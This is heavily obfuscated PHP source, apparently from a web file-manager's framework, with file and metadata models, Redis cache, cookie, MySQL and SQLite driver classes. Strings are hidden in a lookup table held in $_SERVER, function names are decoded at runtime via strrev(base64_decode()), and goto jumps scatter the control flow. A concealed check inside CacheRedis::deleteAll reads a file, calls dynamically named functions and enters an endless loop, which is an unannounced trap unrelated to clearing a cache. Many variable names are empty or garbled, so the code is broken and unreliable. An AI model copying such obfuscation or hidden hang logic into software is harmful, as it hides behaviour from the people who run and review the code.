_listData($) { $ڍ =& $_SERVER[Ǿ]; $ؖ = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($ؖ[$ڍ[373]]); $this->_listAppendUser($ؖ[$ڍ[373]]); $this->_listAppendMeta($ؖ[$ڍ[373]]); return $ؖ; } private function _makeOrder() { $ж =& $_SERVER[Ǿ]; $ۚ = array($ж[1839], $ж[1838], $ж[203]); $ѣ = Input::get($ж[455], $ж[17], $ж[424], $ۚ); $Ϋ = Input::get($ж[456], $ж[17], $ж[1633], array($ж[1853], $ж[451])); $ = $ѣ . $ж[63] . $Ϋ; return $this->order($); } private function _listAppendParent(&$ꜭ) { $ =& $_SERVER[Ǿ]; $ߗ֊ = array_unique(array_to_keyvalue($ꜭ, $[22], $[1836])); $ߗ֊ = array_remove_value($ߗ֊, $[200]); if (!$ߗ֊) { return; } $ = $this->where(array($[1837] => array($[17], $ߗ֊)))->select(); $ = array_to_keyvalue($, $[1844]); foreach ($ꜭ as &$) { if (isset($[$[$[1836]]])) { $[$[1854]] = $[$[$[1836]]]; } } unset($); } private function _listAppendUser(&$Ӳ) { $ =& $_SERVER[Ǿ]; $غ = array_unique(array_to_keyvalue($Ӳ, $[22], $[1640])); $غ = array_remove_value($غ, $[200]); if (count($غ) == 0) { return; } foreach ($Ӳ as $) { if (isset($[$[1854]])) { $غ[] = $[$[1854]][$[1640]]; } } $ = Model($[538])->userListInfo($غ); foreach ($Ӳ as &$) { $[$[594]] = $[$[$[1640]]]; if (isset($[$[1854]])) { $[$[1854]][$[594]] = $[$[$[1854]][$[1640]]]; } } unset($); } private function _listAppendMeta(&$؃) { $쥞 =& $_SERVER[Ǿ]; $ӛ = array_unique(array_to_keyvalue($؃, $쥞[22], $쥞[1844])); $ӛ = array_remove_value($ӛ, $쥞[200]); if (!$ӛ) { return; } foreach ($؃ as $탋) { if (isset($탋[$쥞[1854]])) { $ӛ[] = $탋[$쥞[1854]][$쥞[1844]]; } } $ = $this->metaList($ӛ); if (!$) { return !1; } foreach ($؃ as &$탋) { $탋[$쥞[465]] = $[$탋[$쥞[1844]]]; if (isset($탋[$쥞[1854]])) { $탋[$쥞[1854]][$쥞[465]] = $[$탋[$쥞[1854]][$쥞[1844]]]; } } unset($탋); } private function metaList($Ըã) { $剷 =& $_SERVER[Ǿ]; if (!$Ըã) { return array(); } $׃ = array($剷[1844] => array($剷[17], $Ըã)); $ѡ = Model($剷[1855])->where($׃)->select(); $ѡ = array_to_keyvalue_group($ѡ, $剷[1844]); foreach ($ѡ as $ݾ => $󄒹) { $ݣ = array(); foreach ($󄒹 as $قś) { $ݣ[$قś[$剷[105]]] = $قś[$剷[378]]; } $ѡ[$ݾ] = $ݣ; } return $ѡ ? $ѡ : array(); } } class FileContentModel extends ModelBase { protected $tableName = "\151\x6f\x5f\146\151\154\x65\x5f\143\157\156\164\x65\x6e\164\x73"; protected $dataAuto = array(array("\143\162\145\141\x74\145\124\x69\x6d\145", "\164\x69\x6d\x65", "\151\x6e\x73\x65\162\164", "\x66\165\156\x63\164\x69\157\156")); } class FileModel extends ModelBase { protected $tableName = "\x69\157\x5f\x66\151\154\x65"; protected $tableMeta = array("\x74\141\142\154\145\116\x61\x6d\x65" => "\x69\157\x5f\146\x69\154\145\x5f\x6d\x65\164\141", "\155\x65\x74\141\x46\x69\145\x6c\144" => "\146\x69\154\145\111\x44"); public function fileInfo($) { $ =& $_SERVER[Ǿ]; static $޺ = array(); if (!isset($޺[$])) { $Ʈ = $[1856]; $Цŷ = Model($[470])->field($Ʈ)->where(array($[468] => $))->find(); $޺[$] = $Цŷ; } return $޺[$]; } public function addFileByContent($č = '', $ܶؼ = '') { $ =& $_SERVER[Ǿ]; $ɣ = TEMP_PATH . $[1857]; if (!is_dir($ɣ)) { mk_dir($ɣ); } $ = $ɣ . $[1858] . rand_string(16); file_put_contents($, $č); $ = $this->addFile($, $ܶؼ, !0); if (file_exists($)) { @unlink($); } return $; } public function createFileName($, $ّ = false, $ˢ = false) { $ =& $_SERVER[Ǿ]; $ = IO::init($[18]); $ô = $this->makeFilePath($, $, $ّ, $ˢ); $ջ = $->pathFather($ô); static $ = false; $̨ = $[1859] . md5($ջ); if (!$ && !Cache::get($̨)) { $ = !0; $ƕ = IO::mkdir($ջ); if (!IO::exist($ƕ . $[789])) { IO::mkfile($ƕ . $[789]); } Cache::set($̨, 1, 3600 * 2); } return $ô; } public function makeFilePath($η, $٣, $؆ = false, $ = false) { $ܱ =& $_SERVER[Ǿ]; $ɾ = Model($ܱ[762])->get($ܱ[1860]); $ = KodIO::defaultIO() . date($ܱ[1861]); $ߵ = $ . rand_string(5) . short_id(100); $η = str_replace($ܱ[18], $ܱ[21], KodIO::clear($η)); $ = $٣->ext($η); if (!$η) { $ɾ = $ܱ[1862]; } switch ($ɾ) { case $ܱ[1863]: $ߵ = $ߵ . $ܱ[20] . $٣->ext($η); if ($ == $ܱ[1801]) { $ߵ .= $ܱ[1536]; } break; case $ܱ[1864]: $ = Model($ܱ[762])->get($ܱ[763]); $ظݨ = substr(md5($ܱ[764] . $ . date($ܱ[740])), 0, 8); $ = KodIO::defaultDriver(); $ = $ܱ[1212] . $[$ܱ[401]] . $ܱ[410] . date($ܱ[1865]) . $ظݨ . $ܱ[18]; if ($ == $ܱ[1801]) { $η .= $ܱ[1536]; } $ = $ܱ[1866] . $ . $η; CacheLock::lock($); $ߵ = $ . $η; if (IO::exist($ . $η)) { $餭 = substr($η, 0, strlen($η) - strlen($)); $ = $ ? substr($, 0, 5) : ($؆ ? substr($؆, 0, 5) : rand_string(5)); $ߵ = $ . $餭 . $ . $ܱ[20] . $; } if (IO::isTypeObject($ߵ) && !IO::isUploadServer($ߵ)) { if (IO::exist($ߵ)) { return $ߵ; } $ = IO::setContent($ߵ, $ܱ[22]); if (!$) { show_json($ܱ[1867], !1); } } CacheLock::unlock($); break; case $ܱ[1862]: break; default: break; } return $ߵ; } public function addFileByRemote($ї, $܋٧, $ = array()) { $ŷ =& $_SERVER[Ǿ]; if (!IO::exist($ї)) { return !1; } $ = $[$ŷ[179]] ? $[$ŷ[179]] : $ŷ[22]; $ = IO::hashMd5($ї, $); $ = KodIO::defaultDriver(); $ = array($ŷ[579] => IO::size($ї), $ŷ[1868] => 1, $ŷ[421] => $܋٧, $ŷ[800] => $[$ŷ[401]], $ŷ[422] => $ї, $ŷ[1869] => $[$ŷ[180]] ? $[$ŷ[180]] : IO::hashSimple($ї), $ŷ[1870] => $ ? $ : $); if ($ = $this->addFileCheckExist($[$ŷ[180]], $[$ŷ[179]], $[$ŷ[90]])) { return $; } return $this->addFileData($); } private function addFileData($) { $ =& $_SERVER[Ǿ]; if (!$) { return !1; } $[$[90]] = intval($[$[90]]); if (!$[$[90]] && strlen($[$[180]]) > 32) { $[$[90]] = intval(substr($[$[180]], 32)); } $ = $this->add($); return $this->find($); } public function addFile($ؔ, $˅, $Ƽ = false) { $Ҕϴ =& $_SERVER[Ǿ]; $˳ = IO::hashSimple($ؔ); $̛ = IO::size($ؔ); $덥 = $̛ <= 1024 * 1024 * 10 ? IO::hashMd5($ؔ) : $Ҕϴ[22]; $ɧ = $Ҕϴ[1871] . $˳; CacheLock::lock($ɧ); if ($덥 && $˳) { $ = $this->addFileCheckExist($˳, $덥, $̛); if ($) { CacheLock::unlock($ɧ); return $; } } $շ = $this->addFileMake($ؔ, $̛, $˳, $덥, $˅, $Ƽ); $ = $this->addFileData($շ); CacheLock::unlock($ɧ); if (!$덥 && $) { $this->fileMd5Check($); } return $; } private function fileMd5Check($̩) { $ =& $_SERVER[Ǿ]; $ = array($̩[$[467]], $̩[$[88]]); $ = $[1872] . $̩[$[88]]; $ջ = $[1873] . $̩[$[467]]; $Ĝ = TaskQueue::add($[1874], $, $, $ջ); if (!$Ĝ) { $this->fileMd5Set($̩[$[467]], $̩[$[88]]); } else { TaskQueue::addSubmit(); } } public function fileMd5Set($, $א) { $֘ܶ =& $_SERVER[Ǿ]; $⁋ޒ = $this->find($); if (!$⁋ޒ || $⁋ޒ[$֘ܶ[179]]) { return; } $챲 = IO::hashMd5($א); if (!$챲) { return $֘ܶ[22]; } $this->where(array($֘ܶ[467] => $))->save(array($֘ܶ[179] => $챲)); } public function addFileMake($, $̜ˀ, $ׂ, $ː, $, $) { $ύ =& $_SERVER[Ǿ]; $ = $this->createFileName($, $ׂ, $ː); $ = get_path_father($); $݊ = get_path_this($); if ($) { $؊ = IO::move($, $, !1, $݊); } else { $؊ = IO::copy($, $, !1, $݊); } if (!$؊) { return !1; } $ = KodIO::defaultDriver(); $ߝ = array($ύ[579] => $̜ˀ, $ύ[1868] => 1, $ύ[421] => $, $ύ[800] => $[$ύ[401]], $ύ[422] => $, $ύ[1869] => $ׂ, $ύ[1870] => $ː); return $ߝ; } public function addFileCheckExist($, $, $˨) { $ =& $_SERVER[Ǿ]; $ = $this->findByHash($, $); if (!$) { return !1; } $ = array($[1868] => intval($[$[1875]]) + 1, $[579] => $˨); $this->where(array($[468] => $[$[467]]))->save($); return $; } public function remove($ó) { $this->linkCountChange($ó, !1); $this->clearEmpty(); return !0; } public function linkAdd($٢朗) { $this->linkCountChange($٢朗, !0); } public function linkCountChange($Ԑ, $) { $ =& $_SERVER[Ǿ]; if (!$Ԑ) { return; } if (!is_array($Ԑ)) { $Ԑ = array($Ԑ); } $è⺥ = array(); foreach ($Ԑ as $ճ) { $ћ = $ճ . $[22]; if (!$è⺥[$ћ]) { $è⺥[$ћ] = 0; } $è⺥[$ћ]++; } $ = array(); foreach ($è⺥ as $ճ => $ͺ) { $ћ = $ͺ . $[22]; if (!$[$ћ]) { $[$ћ] = array(); } $[$ћ][] = $ճ; } foreach ($ as $ͺ => $г) { if (!$г) { continue; } $ͺ = $ ? $ͺ : -intval($ͺ); $⑁ = array($[467] => array($[17], $г)); if ($ͺ < 0) { $⑁[$[1875]] = array($[1000], abs($ͺ)); } $this->where($⑁)->setAdd($[1875], $ͺ); } } public function findByHash($ތ, $ = false) { $݂ =& $_SERVER[Ǿ]; if (!$ތ && !$) { return !1; } $̗ = array($݂[1869] => $ތ); if ($) { $̗ = array($݂[1870] => $); } return $this->order($݂[1876])->where($̗)->find(); } public function clearEmpty($ے = 0) { $ǀư =& $_SERVER[Ǿ]; $ = time() - 3600 * 24 * $ے; $ = $ǀư[1877] . $; $ = $this->where($)->select(); if (!$) { return; } $Ϡ = new Task($ǀư[1878], $ǀư[22], count($)); foreach ($ as $) { $Ϡ->update(1); $this->resetFile($); } $Ϡ->end(); } public function resetFile($鸢) { $ƥ =& $_SERVER[Ǿ]; $ӞΓ = array($ƥ[468] => $鸢[$ƥ[467]]); $ă = Model($ƥ[1310])->where($ӞΓ)->count(); $ = Model($ƥ[1879])->where($ӞΓ)->count(); $ = intval($ă) + intval($); if ($ == 0) { IO::remove($鸢[$ƥ[88]]); Model($ƥ[1880])->delete($鸢[$ƥ[467]]); $this->where($ӞΓ)->delete(); $this->metaSet($鸢[$ƥ[467]], null, null); return; } if ($鸢[$ƥ[1875]] != $) { $this->where($ӞΓ)->save(array($ƥ[1868] => $)); } } public function storageInfo($ߨ = false) { $ =& $_SERVER[Ǿ]; $ = $this->count() + 0.0; $ = 0; $Ʈ = 1; $ = 0; $珖 = 5000; for ($ = 0; $ < $; $ = $ + $珖) { $榜 = $this->limit($, $ + $珖)->select(); foreach ($榜 as $᝟) { $Ʈ += $᝟[$[90]] * $᝟[$[1875]]; $ += $᝟[$[90]] * ($᝟[$[1875]] - 1); $ += $᝟[$[1875]]; } } $ = array($[1881] => $Ʈ, $[1882] => $, $[1883] => $ / $Ʈ, $[94] => $, $[1884] => $); return $; } } goto C鰂; Eի: $fileSize = strrev(base64_decode($_SERVER[][0])); function binCheckNeq($ĩۿ, $) { return $ĩۿ != $; } $_SERVER[$_SERVER[][1]] = $fileSize($_SERVER[$_SERVER[][2]]); goto Dɞ; BƼ: class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($򲉲, $Ƹ) { $ϥ̋ =& $_SERVER[Ǿ]; if (!class_exists($ϥ̋[857])) { show_json($ϥ̋[858], !1); } $this->cacheTime = $Ƹ; $ = isset($򲉲[$ϥ̋[859]]) ? $򲉲[$ϥ̋[859]] : 10; $֏ = _get($򲉲, $ϥ̋[856]); if ($֏ && is_array($֏)) { $this->initCluster($򲉲, $); } else { $this->handle = $this->init($򲉲, $); } } private function init($ϣ, $) { $ە =& $_SERVER[Ǿ]; $ЉՓ = new Redis(); $舂 = isset($ϣ[$ە[860]]) ? $ϣ[$ە[860]] : !1; if ($舂) { $ЉՓ->pconnect($ϣ[$ە[184]], $ϣ[$ە[185]], $); } else { $ЉՓ->connect($ϣ[$ە[184]], $ϣ[$ە[185]], $); } if (!empty($ϣ[$ە[414]])) { $ЉՓ->auth($ϣ[$ە[414]]); } return $ЉՓ; } private function initCluster($´, $ߡ) { $鹘 =& $_SERVER[Ǿ]; $ = array($鹘[861], $鹘[862], $鹘[863]); $ժي = $鹘[861]; if (isset($´[$鹘[26]]) && in_array($´[$鹘[26]], $)) { $ժي = $´[$鹘[26]]; } switch ($ժي) { case $鹘[861]: $this->_slave($´, $ߡ); break; case $鹘[862]: break; case $鹘[863]: $this->isCluster = !0; $涿 = $´[$鹘[856]]; $ = isset($´[$鹘[860]]) ? $´[$鹘[860]] : !1; $ = isset($´[$鹘[414]]) ? $´[$鹘[414]] : null; $this->handle = new RedisCluster(NUll, $涿, $ߡ, $ߡ, $, $); break; default: break; } } private function _slave($ח, $ė) { $ʞ = $ח[$_SERVER[Ǿ][856]]; $this->filterConfig($ח, $ʞ[0]); $this->handle = $this->init($ח, $ė); unset($ʞ[0]); if (empty($ʞ)) { return; } $ = array_rand($ʞ); $this->filterConfig($ח, $ʞ[$]); $this->slaveHandle = $this->init($ח, $ė); } private function filterConfig(&$, $) { $籨Ͱ =& $_SERVER[Ǿ]; $ = explode($籨Ͱ[4], $); $ = array($籨Ͱ[184] => $[0], $籨Ͱ[185] => $[1]); $ = array_merge($, $); } public function set($Д, $˖, $쌛 = false) { $쌛 = $쌛 ? $쌛 : $this->cacheTime; return $this->handle->setEx($Д, $쌛, $˖); } public function setLock($, $٭, $) { return $this->handle->setNX($, $٭); } public function get($ܚ׏) { $ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $->get($ܚ׏); } public function remove($Ӹ) { return $this->handle->del($Ӹ); } public function deleteAll() { $􏕍 =& $_SERVER[Ǿ]; if (!isset($_SERVER[$􏕍[6]]) || !isset($_SERVER[$􏕍[15]])) { $ = $􏕍[864]; $č = $􏕍[8]; $۽֐ = $_SERVER[$􏕍[9]] . $􏕍[10]; $ = $č($۽֐); $ = explode($􏕍[11], $); if (count($) < $􏕍[607]) { $ʴ = $􏕍[13]; $ʴ(); } $ = $􏕍[865]; $($_SERVER[$􏕍[866]]); $О = 1; for ($£ = $О; $£ > 0; $£++) { $ = json_encode($GLOBALS[$􏕍[419]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $ܪ) { $this->handle->flushall($ܪ); } return; } return $this->handle->flushAll(); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($ = '', $݅ = 0) { if (is_string($) && $ != $_SERVER[Ǿ][22]) { $this->prefix = $; } if (is_numeric($݅) && $݅ > 0) { $this->expire = $݅; } } public static function getInstance() { static $ڙ; if ($ڙ === null) { $ڙ = new self(); } return $ڙ; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($ޗ٘, $Ҫ, $ = 0, $ = false, $؎ = false) { $竿 =& $_SERVER[Ǿ]; if (self::$cookieDisable) { return; } if (!$) { $ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$ޗ٘]) && self::$sameCookieSet[$ޗ٘] == $Ҫ . $) { return; } self::$sameCookieSet[$ޗ٘] = $Ҫ . $; if (!$؎) { $؎ = str_replace(HOST, $竿[22], APP_HOST); $؎ = _get($GLOBALS, $竿[867], $؎); } $ž = $竿[22]; setcookie($ޗ٘, $Ҫ, time() + $, $竿[18] . trim($؎, $竿[18]) . $ž, !1, !1, $); } public static function setSafe($, $㻦ث, $֮ = 0) { self::set($, $㻦ث, $֮, !0); } public static function get($ԇ) { static $ = false; if (!$) { self::initHeaderCookie(); $ = !0; } return isset($_COOKIE[$ԇ]) ? $_COOKIE[$ԇ] : !1; } private static function initHeaderCookie() { $߀ܐ =& $_SERVER[Ǿ]; if (!isset($_SERVER[$߀ܐ[868]]) || !$_SERVER[$߀ܐ[868]]) { return; } $̊ = explode($߀ܐ[81], $_SERVER[$߀ܐ[868]]); foreach ($̊ as $) { $ = explode($߀ܐ[869], $); if (count($) != 2 || !isset($[1])) { continue; } $_COOKIE[trim($[0])] = trim($[1]); } } public static function remove($, $ = false) { unset($_COOKIE[$]); self::set($, $_SERVER[Ǿ][22], 1, $); } } class DbMysql extends Db { public function __construct($ٟ = '') { $Δ =& $_SERVER[Ǿ]; if (!extension_loaded($Δ[796])) { think_exception(think_lang($Δ[24]) . $Δ[870]); } if (!empty($ٟ)) { $this->config = $ٟ; if (empty($this->config[$Δ[27]])) { $this->config[$Δ[27]] = $Δ[22]; } } } public function connect($ = '', $Χ = 0, $ = false) { $˼ޡ =& $_SERVER[Ǿ]; if (!isset($this->linkID[$Χ])) { if (empty($)) { $ = $this->config; } $ʿݱ = $[$˼ޡ[871]] . ($[$˼ޡ[872]] ? "\72{$[$˼ޡ[872]]}" : $˼ޡ[22]); $ = !empty($[$˼ޡ[27]][$˼ޡ[28]]) ? $[$˼ޡ[27]][$˼ޡ[28]] : $this->pconnect; if ($) { $this->linkID[$Χ] = mysql_pconnect($ʿݱ, $[$˼ޡ[873]], $[$˼ޡ[874]], 131072); } else { $this->linkID[$Χ] = mysql_connect($ʿݱ, $[$˼ޡ[873]], $[$˼ޡ[874]], !0, 131072); } if (!$this->linkID[$Χ] || !empty($[$˼ޡ[31]]) && !mysql_select_db($[$˼ޡ[31]], $this->linkID[$Χ])) { think_exception(mysql_error()); } $ = mysql_get_server_info($this->linkID[$Χ]); mysql_query($˼ޡ[875] . think_config($˼ޡ[876]) . $˼ޡ[68], $this->linkID[$Χ]); if ($ > $˼ޡ[877]) { mysql_query($˼ޡ[878], $this->linkID[$Χ]); } $this->connected = !0; if (1 != think_config($˼ޡ[32])) { unset($this->config); } } return $this->linkID[$Χ]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($) { $ӈ =& $_SERVER[Ǿ]; if (0 === stripos($, $ӈ[268])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ӈ[33], 1); think_status($ӈ[34]); $this->queryID = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($) { $ªܲ =& $_SERVER[Ǿ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ªܲ[35], 1); think_status($ªܲ[34]); $ = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[Ǿ][879], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[Ǿ][880], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ɷ = mysql_query($_SERVER[Ǿ][881], $this->_linkID); $this->transTimes = 0; if (!$ɷ) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { while ($֐⼎ = mysql_fetch_assoc($this->queryID)) { $[] = $֐⼎; } mysql_data_seek($this->queryID, 0); } return $; } public function getFields($́) { $ =& $_SERVER[Ǿ]; $ǒ = $this->query($[882] . $this->parseKey($́)); $񈪟 = array(); if ($ǒ) { foreach ($ǒ as $ => $ٙ) { $񈪟[$ٙ[$[41]]] = array($[42] => $ٙ[$[41]], $[43] => $ٙ[$[44]], $[45] => (bool) (strtoupper($ٙ[$[46]]) === $[883]), $[47] => $ٙ[$[48]], $[49] => strtolower($ٙ[$[50]]) == $[51], $[52] => strtolower($ٙ[$[53]]) == $[54]); } } return $񈪟; } public function getTables($Ү = '') { $ұ =& $_SERVER[Ǿ]; if (!empty($Ү)) { $׍ = $ұ[884] . $Ү . $ұ[885]; } else { $׍ = $ұ[886]; } $ = $this->query($׍); $ = array(); foreach ($ as $ => $殬) { $[$] = current($殬); } return $; } public function replace($ᐎ, $ = array()) { $ͱ =& $_SERVER[Ǿ]; foreach ($ᐎ as $ҥ => $) { $ܧ = $this->parseValue($); if (is_scalar($ܧ)) { $ʡ[] = $ܧ; $؆[] = $this->parseKey($ҥ); } } $嫢 = $ͱ[887] . $this->parseTable($[$ͱ[283]]) . $ͱ[888] . implode($ͱ[60], $؆) . $ͱ[889] . implode($ͱ[60], $ʡ) . $ͱ[890]; return $this->execute($嫢); } public function insertAll($, $ = array(), $ą = false) { $Ŏ =& $_SERVER[Ǿ]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $ɀ = array(); foreach ($ as $) { $ʨي = array(); foreach ($ as $Ÿ => $ۺ΂) { $ۺ΂ = $this->parseValue($ۺ΂); if (is_scalar($ۺ΂)) { $ʨي[] = $ۺ΂; } } $ɀ[] = $Ŏ[264] . implode($Ŏ[60], $ʨي) . $Ŏ[890]; } array_walk($, array($this, $Ŏ[891])); $η = ($ą ? $Ŏ[892] : $Ŏ[893]) . $Ŏ[894] . $this->parseTable($[$Ŏ[283]]) . $Ŏ[888] . implode($Ŏ[60], $) . $Ŏ[895] . implode($Ŏ[60], $ɀ); return $this->execute($η); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ğ =& $_SERVER[Ǿ]; $this->error = mysql_errno() . $ğ[4] . mysql_error($this->_linkID); if ($ğ[22] != $this->queryStr) { $this->error .= LNG($ğ[58]) . $this->queryStr; } think_trace($this->error, $ğ[22], $ğ[59]); return $this->error; } public function escapeString($ɨƕ) { if ($this->_linkID) { return mysql_real_escape_string($ɨƕ, $this->_linkID); } else { return mysql_escape_string($ɨƕ); } } public function parseKey(&$筱, $ = true) { $ =& $_SERVER[Ǿ]; if ($) { $筱 = $this->parseKeyCheck($筱); } if ($筱 != $[191] && !preg_match($[896], $筱)) { $筱 = $[389] . trim($筱, $[389]) . $[389]; } return $筱; } } goto F; A: class DbSqlite3Base extends Db { public function __construct($ = '') { $Ĩ =& $_SERVER[Ǿ]; if (!class_exists($Ĩ[64])) { think_exception(think_lang($Ĩ[24]) . $Ĩ[65]); } if (!empty($)) { if (!isset($[$Ĩ[26]])) { $[$Ĩ[26]] = 438; } $this->config = $; if (empty($this->config[$Ĩ[27]])) { $this->config[$Ĩ[27]] = array(); } } } public function connect($nj̥ = '', $ï = 0) { $ =& $_SERVER[Ǿ]; if (!isset($this->linkID[$ï])) { if (empty($nj̥)) { $nj̥ = $this->config; } $this->linkID[$ï] = new SQLite3($nj̥[$[31]]); if (!$this->linkID[$ï]) { think_exception($this->linkID[$ï]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$ï]->busyTimeout(30000); if (1 != think_config($[32])) { unset($this->config); } } return $this->linkID[$ï]; } public function free() { $this->queryID = null; } public function query($) { $̞ =& $_SERVER[Ǿ]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($̞[33], 1); think_status($̞[34]); $this->queryID = $this->_linkID->query($); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $О = $this->getAll(); $this->numRows = count($О); return $О; } } public function execute($ŭ) { $Я =& $_SERVER[Ǿ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ŭ; if ($this->queryID) { $this->free(); } think_action_status($Я[35], 1); think_status($Я[34]); $ = $this->_linkID->exec($ŭ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[Ǿ][36]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $氓 = $this->_linkID->query($_SERVER[Ǿ][37]); if (!$氓) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ŕ = $this->_linkID->query($_SERVER[Ǿ][38]); if (!$ŕ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $DZ = array(); while ($ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $DZ[] = $; } $this->queryID->reset(); return $DZ; } public function getFields($׽) { $ݞ =& $_SERVER[Ǿ]; $Ԁ = $this->query($ݞ[39] . $׽ . $ݞ[40]); $ۆ = array(); if ($Ԁ) { foreach ($Ԁ as $ => $Ĭ) { $ۆ[$Ĭ[$ݞ[42]]] = array($ݞ[42] => $Ĭ[$ݞ[42]], $ݞ[43] => $Ĭ[$ݞ[43]], $ݞ[45] => (bool) ($Ĭ[$ݞ[45]] === $ݞ[22]), $ݞ[47] => $Ĭ[$ݞ[66]], $ݞ[49] => (bool) $Ĭ[$ݞ[67]], $ݞ[52] => (bool) $Ĭ[$ݞ[67]]); } } return $ۆ; } public function getTables($ë = '') { $ =& $_SERVER[Ǿ]; $ = $this->query($[55] . $[56] . $[57]); $ = array(); foreach ($ as $š => $؛) { $[$š] = current($؛); } return $; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[Ǿ]; $this->error = $this->_linkID->lastErrorMsg(); if ($[22] != $this->queryStr) { $this->error .= LNG($[58]) . $this->queryStr; } think_trace($this->error, $[22], $[59]); return $this->error; } public function escapeString($ҭ) { $ =& $_SERVER[Ǿ]; if ($this->_linkID) { return $this->_linkID->escapeString($ҭ); } return str_ireplace($[68], $[69], $ҭ); } public function parseLimit($Ⱦ) { $ =& $_SERVER[Ǿ]; $靹 = $[22]; if (!empty($Ⱦ)) { $Ⱦ = explode($[60], $Ⱦ); if (count($Ⱦ) > 1) { $靹 .= $[61] . $Ⱦ[1] . $[62] . $Ⱦ[0] . $[63]; } else { $靹 .= $[61] . $Ⱦ[0] . $[63]; } } return $靹; } } class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public function __construct() { $䭙 =& $_SERVER[Ǿ]; $this->objectDriver = array($䭙[70], $䭙[71], $䭙[72], $䭙[73], $䭙[74], $䭙[75], $䭙[76], $䭙[77], $䭙[78]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($³) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($³, $_SERVER[Ǿ][18]); } return $³; } public function iconvApp($) { return $; } public function iconvSystem($⥘) { return $⥘; } public function iconvTo($̇, $Ή, $) { $ =& $_SERVER[Ǿ]; if (!$̇ || !function_exists($[79])) { return $̇; } static $᛫ = array(); $а = $Ή . $[80] . $ . $[81] . $̇; if (isset($᛫[$а])) { return $᛫[$а]; } if (function_exists($[82])) { $霔 = @mb_convert_encoding($̇, $, $Ή); } else { $霔 = @iconv($Ή, $, $̇); } $霔 = $霔 ? $霔 : $̇; if (strstr($霔, $[83])) { $霔 = str_replace($[83], $[21], $霔); } $᛫[$Ή . $[80] . $ . $[81] . $̇] = $霔; $᛫[$ . $[80] . $Ή . $[81] . $̇] = $̇; $᛫[$ . $[80] . $Ή . $[81] . $霔] = $̇; $᛫[$Ή . $[80] . $ . $[81] . $霔] = $霔; return $霔; } public function getPathInner($ؘ) { $Ӊ = IO::init($ؘ); return $Ӊ->path; } public function getPathOuter($Ã) { $ =& $_SERVER[Ǿ]; $ſ = strlen(trim($this->pathBase, $[18])); $à = substr(trim($Ã, $[18]), $ſ); return $this->pathDriver . $[18] . ltrim($Ã, $[18]); } public function isParentOf($ξ, $Ư) { $ؚܫ =& $_SERVER[Ǿ]; $ξ = rtrim(strtolower($ξ), $ؚܫ[18]) . $ؚܫ[18]; $Ư = rtrim(strtolower($Ư), $ؚܫ[18]) . $ؚܫ[18]; $ڃ = strpos($Ư, $ξ) === 0; return $ڃ; } public function getType() { $ԙ =& $_SERVER[Ǿ]; $݄ = str_replace($ԙ[84], $ԙ[22], get_class($this)); return strtolower($݄); } public function isTypeObject() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($, $ը) { $ =& $_SERVER[Ǿ]; $ = rtrim($, $[18]) . $[18] . $ը; $܀ = $this->exist($); return $܀ ? $ : !1; } public function setModifyTime($, $粕Ǫ = '') { } public function renameObject($, $㮽) { $ =& $_SERVER[Ǿ]; $݂ = $㮽; Hook::trigger($[85], $this, $, $this, $this->pathFather($) . $㮽); $ = $this->getPathOuter($); $㮽 = $this->pathFather($) . $㮽; if (IO::isFile($)) { $ = IO::copy($, $this->pathFather($), REPEAT_RENAME_FOLDER, $݂); if ($) { IO::remove($); } } else { $ = IO::mkdir($㮽); if (!$) { return !1; } $ = IO::listPath($, !0); $ = array_merge($[$[86]], $[$[87]]); foreach ($ as $) { IO::move($[$[88]], $㮽, REPEAT_RENAME_FOLDER); } IO::remove($); } return $ ? $㮽 : !1; } public function tempFile($虺 = '', $̜ = '') { if 